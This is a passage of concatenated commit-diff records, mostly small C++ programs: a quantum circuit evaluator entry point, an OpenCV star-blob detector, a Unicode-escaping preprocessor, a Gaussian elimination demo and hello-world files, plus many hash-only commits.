\"Cannot open grid data file: \" << grid_filename << std::endl;\n assert(grid_data.good());\n }\n input.grid_data = &grid_data;\n\n \/\/ Setting initial and final circuit states.\n if (argc > current_arg) {\n input.initial_state = std::string(argv[current_arg++]);\n }\n if (argc > current_arg) {\n input.final_state_A = std::string(argv[current_arg++]);\n }\n\n \/\/ Evaluating circuit.\n std::vector<std::pair<std::string, std::complex<double>>> amplitudes =\n qflex::EvaluateCircuit(&input);\n\n \/\/ Printing output.\n for (int c = 0; c < amplitudes.size(); ++c) {\n const auto& state = amplitudes[c].first;\n const auto& amplitude = amplitudes[c].second;\n std::cout << input.initial_state << \" --> \" << state << \": \"\n << std::real(amplitude) << \" \" << std::imag(amplitude)\n << std::endl;\n }\n return 0;\n}\n<commit_msg>Changed example in main.cpp<commit_after>#include <omp.h>\n\n#include \"evaluate_circuit.h\"\n\n\/\/ Input: .\/qflex.x I J K fidelity circuit_filename ordering_filename \\\n\/\/ grid_filename [initial_conf] [final_conf]\n\/\/\n\/\/ Example:\n\/\/ $ .\/qflex.x 11 12 2 0.005 .\/circuits\/bristlecone_48_1-40-1_0.txt \\\n\/\/ .\/ordering\/bristlecone_48.txt .\/grid\/bristlecone_48.txt\nint main(int argc, char** argv) {\n \/\/ Reading input.\n if (argc < 8) throw std::logic_error(\"ERROR: Not enough arguments.\");\n int current_arg = 1;\n qflex::QflexInput input;\n input.I = atoi(argv[current_arg++]);\n input.J = atoi(argv[current_arg++]);\n input.K = atoi(argv[current_arg++]);\n input.fidelity = atof(argv[current_arg++]);\n\n \/\/ Creating streams for input files.\n std::string circuit_filename = std::string(argv[current_arg++]);\n auto circuit_data = std::ifstream(circuit_filename);\n if (!circuit_data.good()) {\n std::cout << \"Cannot open circuit data file: \" << circuit_filename\n << std::endl;\n assert(circuit_data.good());\n }\n input.circuit_data = &circuit_data;\n std::string ordering_filename = std::string(argv[current_arg++]);\n auto ordering_data = std::ifstream(ordering_filename);\n if (!ordering_data.good()) {\n std::cout << \"Cannot open ordering data file: \" << ordering_filename\n << std::endl;\n assert(ordering_data.good());\n }\n input.ordering_data = &ordering_data;\n std::string grid_filename = std::string(argv[current_arg++]);\n auto grid_data = std::ifstream(grid_filename);\n if (!grid_data.good()) {\n std::cout << \"Cannot open grid data file: \" << grid_filename << std::endl;\n assert(grid_data.good());\n }\n input.grid_data = &grid_data;\n\n \/\/ Setting initial and final circuit states.\n if (argc > current_arg) {\n input.initial_state = std::string(argv[current_arg++]);\n }\n if (argc > current_arg) {\n input.final_state_A = std::string(argv[current_arg++]);\n }\n\n \/\/ Evaluating circuit.\n std::vector<std::pair<std::string, std::complex<double>>> amplitudes =\n qflex::EvaluateCircuit(&input);\n\n \/\/ Printing output.\n for (int c = 0; c < amplitudes.size(); ++c) {\n const auto& state = amplitudes[c].first;\n const auto& amplitude = amplitudes[c].second;\n std::cout << input.initial_state << \" --> \" << state << \": \"\n << std::real(amplitude) << \" \" << std::imag(amplitude)\n << std::endl;\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>9f294770-327f-11e5-ba04-9cf387a8033e<commit_msg>9f2f418c-327f-11e5-86b8-9cf387a8033e<commit_after>9f2f418c-327f-11e5-86b8-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>818f8b0f-2e4f-11e5-a9ac-28cfe91dbc4b<commit_msg>81973fd4-2e4f-11e5-bf4c-28cfe91dbc4b<commit_after>81973fd4-2e4f-11e5-bf4c-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>b56e205c-2e4f-11e5-8218-28cfe91dbc4b<commit_msg>b58b641e-2e4f-11e5-9413-28cfe91dbc4b<commit_after>b58b641e-2e4f-11e5-9413-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <vector>\n#include <list>\n\n#include \"opencv.hpp\"\n\nusing namespace cv;\nusing namespace std;\n\nstatic const double PI = 3.1415926536;\n\nstruct Options\n{\n\tint threshold;\n};\n\nstruct Star\n{\n\tdouble x, y;\n\tdouble r;\n\n\tStar(double x, double y, double r)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->r = r;\n\t}\n};\n\nstruct Blob\n{\n\tdouble x, y;\n\tdouble S;\n};\n\nBlob operator+(const Blob & l, const Blob & r)\n{\n\tBlob q;\n\tq.S = l.S + r.S;\n\tq.x = (l.S*l.x + r.S*r.x) \/ q.S;\n\tq.y = (l.S*l.y + r.S*r.y) \/ q.S;\n}\n\nBlob & operator+=(Blob & blob, const Blob & x)\n{\n\tdouble S = blob.S + x.S;\n\tblob.x = (blob.S*blob.x + x.S*x.x) \/ S;\n\tblob.y = (blob.S*blob.y + x.S*x.y) \/ S;\n}\n\nbool operator<(const Star & l, const Star & r)\n{\n\tif (l.r < r.r)\n\t\treturn true;\n\tif (l.r > r.r)\n\t\treturn false;\n\n\treturn (l.x < r.x);\n}\n\ntypedef vector<Star> Stars;\ntypedef vector<Blob> Blobs;\n\nvoid die(const string & msg)\n{\n\tcerr << \"Error: \" << msg << endl;\n\texit(1);\n}\n\ninline double sqr(double x)\n{\n\treturn x*x;\n}\n\ninline double min3(double x, double y, double z)\n{\n\treturn (x < y) ? ((x < z) ? x : z) : ((y < z) ? y : z);\n}\n\nvoid getTransform(Stars & xs, Stars & ys)\n{\n}\n\nstruct ScanItem\n{\n\tBlob blob;\n\tint l, r;\n\n\tScanItem(int _l, int _r, const Blob & _b)\n\t\t: l(_l), r(_r), blob(_b)\n\t{}\n};\n\nvoid findBlobs(const Mat & mat, Blobs & blobs)\n{\n\t\/*\n\tnamedWindow(\"foo\");\n\timshow(\"foo\", mat);\n\twaitKey(1000);\n\t*\/\n\n\tcout << \"depth: \" << mat.depth() << \", type: \" << mat.type() << \", chans: \" << mat.channels() << endl;\n\tlist<ScanItem> scan, newscan;\n\tfor (int y = 0; y < mat.rows; ++y)\n\t{\n\t\tconst uint8_t * row = mat.ptr<uint8_t>(y);\n\t\tlist<ScanItem>::iterator it = scan.begin();\n\t\tint l = 0;\n\t\tfor (int x = 0; x < mat.cols; ++x)\n\t\t{\n\t\t\t\/\/ skip blanks\n\t\t\twhile (it != scan.end() && it->r < x)\n\t\t\t{\n\t\t\t\tblobs.push_back(it->blob);\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\t\/\/ find the end of the white segment\n\t\t\twhile (x < mat.cols && row[x])\n\t\t\t\t++x;\n\n\t\t\t\/\/ if white segment found\n\t\t\tif (row[l])\n\t\t\t{\n\t\t\t\tcout << \"rowscan at \" << l << \"..\" << x << \",\" << y << endl;\n\t\t\t\tBlob cur = {(x+l-1)\/2.0, y, x-l};\n\t\t\t\twhile (it != scan.end() && it->l < x)\n\t\t\t\t{\n\t\t\t\t\tcur += it->blob;\n\t\t\t\t\t++it;\n\t\t\t\t}\n\t\t\t\tnewscan.push_back(ScanItem(l,x-1,cur));\n\t\t\t}\n\n\t\t\tl = ++x;\n\t\t}\n\t\tscan = newscan;\n\t}\n\n\tfor (list<ScanItem>::const_iterator it = scan.begin(); it != scan.end(); ++it)\n\n\t{\n\t\tblobs.push_back(it->blob);\n\t}\n}\n\nvoid getStars(const vector<string> & fn, vector<Stars *> & stars, const Options & opt)\n{\n\tstars.clear();\n\tfor (vector<string>::const_iterator it = fn.begin(); it != fn.end(); ++it)\n\t{\n\t\tcout << \" * \" << *it << \": \";\n\n\t\t\/\/ load the image\n\t\tMat image = imread(*it, CV_LOAD_IMAGE_GRAYSCALE);\n\t\tMat srcimg;\n\t\tresize(image, srcimg, Size(0,0), 0.25, 0.25);\n\t\tthreshold(srcimg, image, opt.threshold, 255, THRESH_BINARY);\n\n\t\t\/\/ find the blobs\n\t\tBlobs blobs;\n\t\tfindBlobs(image, blobs);\n\n\t\t\/\/ traverse the blobs\n\t\tStars * st = new vector<Star>();\n\t\tfor (Blobs::const_iterator it = blobs.begin(); it != blobs.end(); ++it)\n\t\t{\n\t\t\tst->push_back(Star(it->x, it->y, sqrt(it->S \/ PI)));\n\t\t}\n\n\t\tcout << st->size() << \" stars\" << endl;\n\n\t\tstars.push_back(st);\n\t}\n}\n\nint main(int argc, char ** argv)\n{\n\tchar ** end = argv + argc;\n\t++argv; \/\/ skip the name of the executable\n\n\t\/\/ some default options\n\tOptions opt;\n\topt.threshold = 128;\n\n\t\/\/ get the options\n\twhile (argv < end)\n\t{\n\t\t\/\/ end of options\n\t\tif (**argv != '-')\n\t\t\tbreak;\n\n\t\tstring opt = *argv++;\n\n\t\t\/\/ no options will follow\n\t\tif (opt == \"--\")\n\t\t\tbreak;\n\n\t\tdie(\"unknown option \" + opt);\n\t}\n\n\t\/\/ get the list of images\n\tvector<string> imgNames;\n\twhile (argv < end)\n\t\timgNames.push_back(*argv++);\n\n\t\/\/ perform some sanity checks\n\tif (imgNames.size() < 2)\n\t\tdie(\"no point in aligning less than two images\");\n\n\t\/\/ find stars on each image\n\tcout << \"Finding stars...\" << endl;\n\tvector<Stars *> stars;\n\tgetStars(imgNames, stars, opt); \/\/ allocates stars\n\n\t\/\/ sort each vector by star size\n\tfor (vector<Stars *>::iterator it = stars.begin(); it != stars.end(); ++it)\n\t{\n\t\tsort((*it)->rbegin(), (*it)->rend());\n\t}\n\t\n\t\/\/ align the stars\n\tgetTransform(*stars[0], *stars[1]);\n\n\t\/\/ free the memory\n\tfor (vector<Stars *>::iterator it = stars.begin(); it != stars.end(); ++it)\n\t{\n\t\tdelete *it;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Blob += fixed.<commit_after>#include <iostream>\n#include <string>\n#include <vector>\n#include <list>\n\n#include \"opencv.hpp\"\n\nusing namespace cv;\nusing namespace std;\n\nstatic const double PI = 3.1415926536;\n\nstruct Options\n{\n\tint threshold;\n};\n\nstruct Star\n{\n\tdouble x, y;\n\tdouble r;\n\n\tStar(double x, double y, double r)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->r = r;\n\t}\n};\n\nstruct Blob\n{\n\tdouble x, y;\n\tdouble S;\n};\n\nBlob operator+(const Blob & l, const Blob & r)\n{\n\tBlob q;\n\tq.S = l.S + r.S;\n\tq.x = (l.S*l.x + r.S*r.x) \/ q.S;\n\tq.y = (l.S*l.y + r.S*r.y) \/ q.S;\n}\n\nBlob & operator+=(Blob & blob, const Blob & x)\n{\n\tdouble S = blob.S + x.S;\n\tblob.x = (blob.S*blob.x + x.S*x.x) \/ S;\n\tblob.y = (blob.S*blob.y + x.S*x.y) \/ S;\n\tblob.S = S;\n}\n\nbool operator<(const Star & l, const Star & r)\n{\n\tif (l.r < r.r)\n\t\treturn true;\n\tif (l.r > r.r)\n\t\treturn false;\n\n\treturn (l.x < r.x);\n}\n\ntypedef vector<Star> Stars;\ntypedef vector<Blob> Blobs;\n\nvoid die(const string & msg)\n{\n\tcerr << \"Error: \" << msg << endl;\n\texit(1);\n}\n\ninline double sqr(double x)\n{\n\treturn x*x;\n}\n\ninline double min3(double x, double y, double z)\n{\n\treturn (x < y) ? ((x < z) ? x : z) : ((y < z) ? y : z);\n}\n\nvoid getTransform(Stars & xs, Stars & ys)\n{\n}\n\nstruct ScanItem\n{\n\tBlob blob;\n\tint l, r;\n\n\tScanItem(int _l, int _r, const Blob & _b)\n\t\t: l(_l), r(_r), blob(_b)\n\t{}\n};\n\nvoid findBlobs(const Mat & mat, Blobs & blobs)\n{\n\t\/*\n\tnamedWindow(\"foo\");\n\timshow(\"foo\", mat);\n\twaitKey(1000);\n\t*\/\n\n\tcout << \"depth: \" << mat.depth() << \", type: \" << mat.type() << \", chans: \" << mat.channels() << endl;\n\tlist<ScanItem> scan, newscan;\n\tfor (int y = 0; y < mat.rows; ++y)\n\t{\n\t\tconst uint8_t * row = mat.ptr<uint8_t>(y);\n\t\tlist<ScanItem>::iterator it = scan.begin();\n\t\tint l = 0;\n\t\tfor (int x = 0; x < mat.cols; ++x)\n\t\t{\n\t\t\t\/\/ skip blanks\n\t\t\twhile (it != scan.end() && it->r < x)\n\t\t\t{\n\t\t\t\tblobs.push_back(it->blob);\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\t\/\/ find the end of the white segment\n\t\t\twhile (x < mat.cols && row[x])\n\t\t\t\t++x;\n\n\t\t\t\/\/ if white segment found\n\t\t\tif (row[l])\n\t\t\t{\n\t\t\t\tcout << \"rowscan at \" << l << \"..\" << x << \",\" << y << endl;\n\t\t\t\tBlob cur = {(x+l-1)\/2.0, y, x-l};\n\t\t\t\twhile (it != scan.end() && it->l < x)\n\t\t\t\t{\n\t\t\t\t\tcur += it->blob;\n\t\t\t\t\t++it;\n\t\t\t\t}\n\t\t\t\tnewscan.push_back(ScanItem(l,x-1,cur));\n\t\t\t}\n\n\t\t\tl = ++x;\n\t\t}\n\t\tscan = newscan;\n\t}\n\n\tfor (list<ScanItem>::const_iterator it = scan.begin(); it != scan.end(); ++it)\n\n\t{\n\t\tblobs.push_back(it->blob);\n\t}\n}\n\nvoid getStars(const vector<string> & fn, vector<Stars *> & stars, const Options & opt)\n{\n\tstars.clear();\n\tfor (vector<string>::const_iterator it = fn.begin(); it != fn.end(); ++it)\n\t{\n\t\tcout << \" * \" << *it << \": \";\n\n\t\t\/\/ load the image\n\t\tMat image = imread(*it, CV_LOAD_IMAGE_GRAYSCALE);\n\t\tMat srcimg;\n\t\tresize(image, srcimg, Size(0,0), 0.25, 0.25);\n\t\tthreshold(srcimg, image, opt.threshold, 255, THRESH_BINARY);\n\n\t\t\/\/ find the blobs\n\t\tBlobs blobs;\n\t\tfindBlobs(image, blobs);\n\n\t\t\/\/ traverse the blobs\n\t\tStars * st = new vector<Star>();\n\t\tfor (Blobs::const_iterator it = blobs.begin(); it != blobs.end(); ++it)\n\t\t{\n\t\t\tst->push_back(Star(it->x, it->y, sqrt(it->S \/ PI)));\n\t\t}\n\n\t\tcout << st->size() << \" stars\" << endl;\n\n\t\tstars.push_back(st);\n\t}\n}\n\nint main(int argc, char ** argv)\n{\n\tchar ** end = argv + argc;\n\t++argv; \/\/ skip the name of the executable\n\n\t\/\/ some default options\n\tOptions opt;\n\topt.threshold = 128;\n\n\t\/\/ get the options\n\twhile (argv < end)\n\t{\n\t\t\/\/ end of options\n\t\tif (**argv != '-')\n\t\t\tbreak;\n\n\t\tstring opt = *argv++;\n\n\t\t\/\/ no options will follow\n\t\tif (opt == \"--\")\n\t\t\tbreak;\n\n\t\tdie(\"unknown option \" + opt);\n\t}\n\n\t\/\/ get the list of images\n\tvector<string> imgNames;\n\twhile (argv < end)\n\t\timgNames.push_back(*argv++);\n\n\t\/\/ perform some sanity checks\n\tif (imgNames.size() < 2)\n\t\tdie(\"no point in aligning less than two images\");\n\n\t\/\/ find stars on each image\n\tcout << \"Finding stars...\" << endl;\n\tvector<Stars *> stars;\n\tgetStars(imgNames, stars, opt); \/\/ allocates stars\n\n\t\/\/ sort each vector by star size\n\tfor (vector<Stars *>::iterator it = stars.begin(); it != stars.end(); ++it)\n\t{\n\t\tsort((*it)->rbegin(), (*it)->rend());\n\t}\n\t\n\t\/\/ align the stars\n\tgetTransform(*stars[0], *stars[1]);\n\n\t\/\/ free the memory\n\tfor (vector<Stars *>::iterator it = stars.begin(); it != stars.end(); ++it)\n\t{\n\t\tdelete *it;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>d236bba3-2d3c-11e5-840d-c82a142b6f9b<commit_msg>d299b47a-2d3c-11e5-8d2e-c82a142b6f9b<commit_after>d299b47a-2d3c-11e5-8d2e-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>53703a3d-2e4f-11e5-a2cd-28cfe91dbc4b<commit_msg>5376fdcc-2e4f-11e5-a6fc-28cfe91dbc4b<commit_after>5376fdcc-2e4f-11e5-a6fc-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>3403efac-5216-11e5-ba26-6c40088e03e4<commit_msg>340a7368-5216-11e5-be59-6c40088e03e4<commit_after>340a7368-5216-11e5-be59-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>ba90a6f4-35ca-11e5-8876-6c40088e03e4<commit_msg>ba97432e-35ca-11e5-9850-6c40088e03e4<commit_after>ba97432e-35ca-11e5-9850-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>4ba0bec6-5216-11e5-97f2-6c40088e03e4<commit_msg>4ba85026-5216-11e5-ad8c-6c40088e03e4<commit_after>4ba85026-5216-11e5-ad8c-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>62ccb492-5216-11e5-934a-6c40088e03e4<commit_msg>62d3480a-5216-11e5-951c-6c40088e03e4<commit_after>62d3480a-5216-11e5-951c-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>c3a8f034-35ca-11e5-91f5-6c40088e03e4<commit_msg>c3af5e24-35ca-11e5-aa61-6c40088e03e4<commit_after>c3af5e24-35ca-11e5-aa61-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>b8244cc2-35ca-11e5-92a9-6c40088e03e4<commit_msg>b82b1fd4-35ca-11e5-aaad-6c40088e03e4<commit_after>b82b1fd4-35ca-11e5-aaad-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>b3c202a8-327f-11e5-972e-9cf387a8033e<commit_msg>b3c7dc78-327f-11e5-84fb-9cf387a8033e<commit_after>b3c7dc78-327f-11e5-84fb-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>e8af0307-327f-11e5-8f3b-9cf387a8033e<commit_msg>e8b4e4e3-327f-11e5-9d79-9cf387a8033e<commit_after>e8b4e4e3-327f-11e5-9d79-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <clocale>\n#include <iomanip>\n#include <locale>\n#include <codecvt>\n#include <iomanip>\n\n#pragma execution_character_set(\"utf-8\")\n\nint main(int argc, char *argv[])\n{\n std::setlocale(LC_ALL, \"Japanese\");\n\n for (int i = 1; i >= 0 ; ++i)\n {\n if (argv[i] == nullptr) break;\n\n std::string fileName = argv[i];\n\n std::basic_ofstream<char32_t> ofs;\n ofs.imbue(std::locale(std::locale(\"\"), new std::codecvt_utf8<char32_t>));\n\n std::basic_ifstream<char32_t> ifs;\n ifs.imbue(std::locale(std::locale(\"\"), new std::codecvt_utf8<char32_t>));\n\n std::string outFile = argv[i];\n outFile += \".pre\";\n\n ofs.open( \"buff\" , std::ios::out);\n ifs.open( argv[i] , std::ios::in);\n\n char32_t wc;\n\n \/\/Bom削除\n if (ifs.get() < 0x0080 )\n {\n ifs.seekg(0);\n }\n\n bool StringMode = false;\n\n while ( !ifs.eof() )\n {\n wc = ifs.get();\n if (ifs.eof()) break;\n\n if (wc < 0x0080)\n {\n if (wc == 0x0022)\n {\n \/\/文字リテラル中はそのままにする\n if (StringMode) StringMode = false;\n else StringMode = true;\n }\n ofs.put(wc);\n }\n else if (wc < 0xFFFF)\/\/3バイト\n {\n if (StringMode)\n {\n ofs.put(wc);\n }\n else {\n ofs.put('U');\n ofs.put('C');\n ofs.put('N');\n \n int n = wc \/ 16 \/ 16 \/ 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc \/ 16 \/ 16 % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc \/ 16 % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n }\n }\n }\n\n ofs.close();\n ifs.close();\n\n \/\/WindowsAPI\n rename( fileName.c_str() , outFile.c_str() );\n rename( \"buff\", fileName.c_str());\n }\n\n return 0;\n}<commit_msg>変更前のファイルの扱いを変更.<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <clocale>\n#include <iomanip>\n#include <locale>\n#include <codecvt>\n#include <iomanip>\n#include <Windows.h>\n\n#pragma execution_character_set(\"utf-8\")\n\nint main(int argc, char *argv[])\n{\n\t\/\/Windows専用\n\tCreateDirectoryA(\"backup\",NULL);\n\n for (int i = 1; i >= 0 ; ++i)\n {\n if (argv[i] == nullptr) break;\n\n std::string fileName = argv[i];\n\n std::basic_ofstream<char32_t> ofs;\n ofs.imbue(std::locale(std::locale(\"\"), new std::codecvt_utf8<char32_t>));\n\n std::basic_ifstream<char32_t> ifs;\n ifs.imbue(std::locale(std::locale(\"\"), new std::codecvt_utf8<char32_t>));\n\n\t\tstd::string outFile = argv[i];\n\t\tint num = outFile.find_last_of('\\\\');\n\t\toutFile.insert(num, \"\\\\backup\");\n\n\t\tofs.open( \"buff\" , std::ios::out);\n ifs.open( argv[i] , std::ios::in);\n\n char32_t wc;\n\n \/\/Bom削除\n if (ifs.get() < 0x0080 )\n {\n ifs.seekg(0);\n }\n\n bool StringMode = false;\n\n while ( !ifs.eof() )\n {\n wc = ifs.get();\n if (ifs.eof()) break;\n\n if (wc < 0x0080)\n {\n if (wc == 0x0022)\n {\n \/\/文字リテラル中はそのままにする\n if (StringMode) StringMode = false;\n else StringMode = true;\n }\n ofs.put(wc);\n }\n else if (wc < 0xFFFF)\/\/3バイト\n {\n if (StringMode)\n {\n ofs.put(wc);\n }\n else {\n ofs.put('U');\n ofs.put('C');\n ofs.put('N');\n \n int n = wc \/ 16 \/ 16 \/ 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc \/ 16 \/ 16 % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc \/ 16 % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n\n n = wc % 16;\n if (n < 10) ofs.put(0x30 + n);\n else ofs.put(0x41 + n - 10);\n }\n }\n }\n\n ofs.close();\n ifs.close();\n\n \/\/環境依存?\n\t\t\/\/元ファイルをbackupフォルダに移動\n rename( fileName.c_str() , outFile.c_str() );\n\t\trename(\"buff\", fileName.c_str());\n }\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>afa3c4f5-ad5a-11e7-845a-ac87a332f658<commit_msg>Finished?<commit_after>b0199f1e-ad5a-11e7-8f5e-ac87a332f658<|endoftext|>"} {"text":"<commit_before>7602280c-2d53-11e5-baeb-247703a38240<commit_msg>7602a8c2-2d53-11e5-baeb-247703a38240<commit_after>7602a8c2-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>83000d99-2d15-11e5-af21-0401358ea401<commit_msg>83000d9a-2d15-11e5-af21-0401358ea401<commit_after>83000d9a-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>ca69b8de-327f-11e5-af9c-9cf387a8033e<commit_msg>ca7440cc-327f-11e5-bf80-9cf387a8033e<commit_after>ca7440cc-327f-11e5-bf80-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>d8acfb6c-35ca-11e5-a5ac-6c40088e03e4<commit_msg>Final commit :sunglasses:<commit_after>#include <iostream>\nint main()\n{\n std::cout << \"Hello World!\" << std::endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>f5650987-2e4e-11e5-818c-28cfe91dbc4b<commit_msg>f56f64ca-2e4e-11e5-a515-28cfe91dbc4b<commit_after>f56f64ca-2e4e-11e5-a515-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>c08d152e-ad5c-11e7-a03a-ac87a332f658<commit_msg>lets try again<commit_after>c123f968-ad5c-11e7-a022-ac87a332f658<|endoftext|>"} {"text":"<commit_before>5bf67450-2d16-11e5-af21-0401358ea401<commit_msg>5bf67451-2d16-11e5-af21-0401358ea401<commit_after>5bf67451-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include \"matrix.hpp\"\n\nint main() {\n std::vector<double> vector1{2, 1, 1, 0, 4, 3, 3, 1, 8,7,9,5, 6,7,9,8};\n std::vector<double> vector2{1, 1, -1, 3};\n\n matrix<double, 4, 4> m1{2, 1, 1, 0, 4, 3, 3, 1, 8,7,9,5, 6,7,9,8};\n nvector<double, 4> b{1, 1, -1, 3};\n\n std::cout << \"Information about A:\" << std::endl;\n auto data = m1.data();\n for (auto i = data.begin(); i != data.end(); ++i) {\n std::cout << *i << \" \";\n }\n std::cout << std::endl;\n\n std::cout << \"Information about b:\" << std::endl;\n std::cout << \"b has \" << b.size() << \" rows\" << std::endl;\n for (auto i = b.begin(); i != b.end(); ++i) {\n std::cout << *i << \" \";\n }\n std::cout << std::endl;\n\n auto x = gaussian_no_pivoting(m1, b);\n auto y = gaussian_partial_pivoting(m1, b);\n\n std::cout << \"x is: (\" << x[0] << \", \" << x[1] << \", \" << x[2] << \", \" << x[3] << \")\" << std::endl;\n std::cout << \"y is: (\" << y[0] << \", \" << y[1] << \", \" << y[2] << \", \" << y[3] << \")\" << std::endl;\n}<commit_msg>Had to change the template classes because we need to instantiate matrices of different sizes at runtime (random matrices).<commit_after>#include <iostream>\n#include \"matrix.hpp\"\n\nint main() {\n std::vector<double> vector1{2, 1, 1, 0, 4, 3, 3, 1, 8,7,9,5, 6,7,9,8};\n std::vector<double> vector2{1, 1, -1, 3};\n\n matrix<double> m1(4, 4, {2, 1, 1, 0, 4, 3, 3, 1, 8,7,9,5, 6,7,9,8});\n nvector<double> b(4, {1, 1, -1, 3});\n\n std::cout << \"Information about A:\" << std::endl;\n auto data = m1.data();\n for (auto i = data.begin(); i != data.end(); ++i) {\n std::cout << *i << \" \";\n }\n std::cout << std::endl;\n\n std::cout << \"Information about b:\" << std::endl;\n std::cout << \"b has \" << b.size() << \" rows\" << std::endl;\n for (auto i = b.begin(); i != b.end(); ++i) {\n std::cout << *i << \" \";\n }\n std::cout << std::endl;\n\n auto x = gaussian_no_pivoting(m1, b);\n auto y = gaussian_partial_pivoting(m1, b);\n\n std::cout << \"x is: (\" << x[0] << \", \" << x[1] << \", \" << x[2] << \", \" << x[3] << \")\" << std::endl;\n std::cout << \"y is: (\" << y[0] << \", \" << y[1] << \", \" << y[2] << \", \" << y[3] << \")\" << std::endl;\n}<|endoftext|>"} {"text":"<commit_before>83000e4f-2d15-11e5-af21-0401358ea401<commit_msg>83000e50-2d15-11e5-af21-0401358ea401<commit_after>83000e50-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>8ef73a50-35ca-11e5-b58f-6c40088e03e4<commit_msg>8efe96cc-35ca-11e5-9008-6c40088e03e4<commit_after>8efe96cc-35ca-11e5-9008-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>b49ad4ae-2e4f-11e5-bc6a-28cfe91dbc4b<commit_msg>b4a13bfa-2e4f-11e5-a890-28cfe91dbc4b<commit_after>b4a13bfa-2e4f-11e5-a890-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>b731a3b6-35ca-11e5-8a9b-6c40088e03e4<commit_msg>b7384476-35ca-11e5-8f4a-6c40088e03e4<commit_after>b7384476-35ca-11e5-8f4a-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n\nint main() {\n std::cout << \"Hello, world. \" << std::endl;\n return 0;\n}\n<commit_msg> * Changed to exclamation mark<commit_after>#include <iostream>\n\nint main() {\n std::cout << \"Hello, world! \" << std::endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>8e9fac00-2d14-11e5-af21-0401358ea401<commit_msg>8e9fac01-2d14-11e5-af21-0401358ea401<commit_after>8e9fac01-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>9771c921-2747-11e6-8c5a-e0f84713e7b8<commit_msg>Added that feature we discussed on... Was it monday?<commit_after>97827f7d-2747-11e6-8556-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>ee83b9e8-327f-11e5-8456-9cf387a8033e<commit_msg>ee8a2d5c-327f-11e5-913e-9cf387a8033e<commit_after>ee8a2d5c-327f-11e5-913e-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>3de69d80-5216-11e5-bad7-6c40088e03e4<commit_msg>3dee7f14-5216-11e5-bee7-6c40088e03e4<commit_after>3dee7f14-5216-11e5-bee7-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>3a9bc8f0-2e4f-11e5-b4ad-28cfe91dbc4b<commit_msg>3aa2a1a3-2e4f-11e5-964e-28cfe91dbc4b<commit_after>3aa2a1a3-2e4f-11e5-964e-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>0ca27d22-585b-11e5-bff2-6c40088e03e4<commit_msg>0ca9fc1c-585b-11e5-8bd6-6c40088e03e4<commit_after>0ca9fc1c-585b-11e5-8bd6-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>eb234611-313a-11e5-a848-3c15c2e10482<commit_msg>eb296147-313a-11e5-bdef-3c15c2e10482<commit_after>eb296147-313a-11e5-bdef-3c15c2e10482<|endoftext|>"} {"text":"<commit_before>115a6cc0-ad5d-11e7-b866-ac87a332f658<commit_msg>roselyn broke it<commit_after>11cc02eb-ad5d-11e7-8627-ac87a332f658<|endoftext|>"} {"text":"<commit_before>64f7f108-5216-11e5-990c-6c40088e03e4<commit_msg>64fea464-5216-11e5-8c30-6c40088e03e4<commit_after>64fea464-5216-11e5-8c30-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>7a38e219-2e4f-11e5-8908-28cfe91dbc4b<commit_msg>7a403fc2-2e4f-11e5-8a1a-28cfe91dbc4b<commit_after>7a403fc2-2e4f-11e5-8a1a-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>8dd25711-ad59-11e7-a8b1-ac87a332f658<commit_msg>Added that feature we discussed on... Was it monday?<commit_after>8e6e3f38-ad59-11e7-85fe-ac87a332f658<|endoftext|>"} {"text":"<commit_before>\/\/ Demolition Man Verbal Morality Statute Monitor\n\/\/ Created by 